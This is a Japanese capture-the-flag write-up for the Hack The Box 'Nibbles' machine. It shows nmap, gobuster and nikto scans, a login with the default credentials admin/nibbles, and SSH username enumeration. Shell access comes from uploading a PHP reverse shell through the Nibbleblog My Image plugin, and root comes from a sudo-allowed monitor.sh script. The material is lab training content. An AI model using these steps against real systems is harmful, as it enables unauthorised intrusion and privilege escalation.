偵察/スキャン
nmapでポートスキャンを行います。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -sC -sV 10.10.10.75 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.10.75 Host is up (0.72s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 239.81 seconds
TCP/22と80が開いていることがわかりました。
ブラウザでアクセスしてみるとHelloWorldのページが表示されます。
ページのソースをみると、/nibbleblogというディレクトリがあることがわかります。
gobusterでディレクトリを列挙してみます。
┌──(kali㉿kali)-[~] └─$ gobuster dir -u 10.10.10.75/nibbleblog/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 1 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.75/nibbleblog/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== /themes (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/] /admin (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/] /plugins (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/] /content (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/] /README (Status: 200) [Size: 4628] /languages (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]
/content配下にuser.xmlというファイルがあり、その中身を見るとadminというユーザがありそうなことがわかります。
また、nibleblog配下でほかにページがないか調査します。
┌──(kali㉿kali)-[~] └─$ nikto -h http://10.10.10.75/nibbleblog - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.75 + Target Hostname: 10.10.10.75 + Target Port: 80 --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Cookie PHPSESSID created without the httponly flag + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected. + OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected. + OSVDB-3268: /nibbleblog/admin/: Directory indexing found. + OSVDB-3092: /nibbleblog/admin.php: This might be interesting... + OSVDB-3092: /nibbleblog/admin/: This might be interesting... + OSVDB-3092: /nibbleblog/README: README file found. + OSVDB-3092: /nibbleblog/install.php: install.php file found. + OSVDB-3092: /nibbleblog/LICENSE.txt: License file found may identify site software. + 7877 requests: 0 error(s) and 15 item(s) reported on remote host --------------------------------------------------------------------------- + 1 host(s) tested
admin.phpというページがあることがわかります。
アクセスしてみると、管理者画面のログインページが表示されます。
このページは「admin/nibbles」でログインすることができました。
管理画面よりsettingを見るとVer4.03であることがわかります。
余談:SSH周りの調査
nmapの結果よりSSHのバージョンが確認できます。
NibblesのOpenSSHのバージョンは以下の脆弱性があります。
上記のコードを実行すると以下のような結果が得られます。
なお、SSHではadmin/nibblesではログインできませんでした。
┌──(kali㉿kali)-[~/nibbles] └─$ python3 sshenum.py 10.10.10.75 1 ⨯ 100%root 0.009755699999999992 toor 0.0097714 admin 0.010691499999999993 administrator 0.013962500000000003 user 0.015075000000000005 www-data 0.01616780000000001 host 0.017924100000000026 guest 0.01908470000000001
アクセスの取得
nibbleblogとはPHPのブログシステムのようで、4.0.3(4.0.5より前)のnibbleblogのMyImageプラグインにはアップロードするファイルが制限されない脆弱性があるため、
リバースシェルを実行するファイルをアップロードすることでアクセスを取得できるようです。
「Plugins」-「My image」-「Configure」に移動してPentestmonkyのphpリバースシェルをアップロードします。
いくつかエラーが表示されましたが操作を続けます。
kali側で待ち受け、「nibbleblog/content/private/plugins/my_image/image.php」にアクセスするとシェルが取得できます。
権限昇格
「sudo -l」を実行すると「monitor.sh」がrootの権限で実行できるようですが、対象のファイルはないようです。
対象のファイルを以下の内容で作成し、実行するとrootが取得できました。
#!/bin/sh bash
/rootは以下にroot.txtもありました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。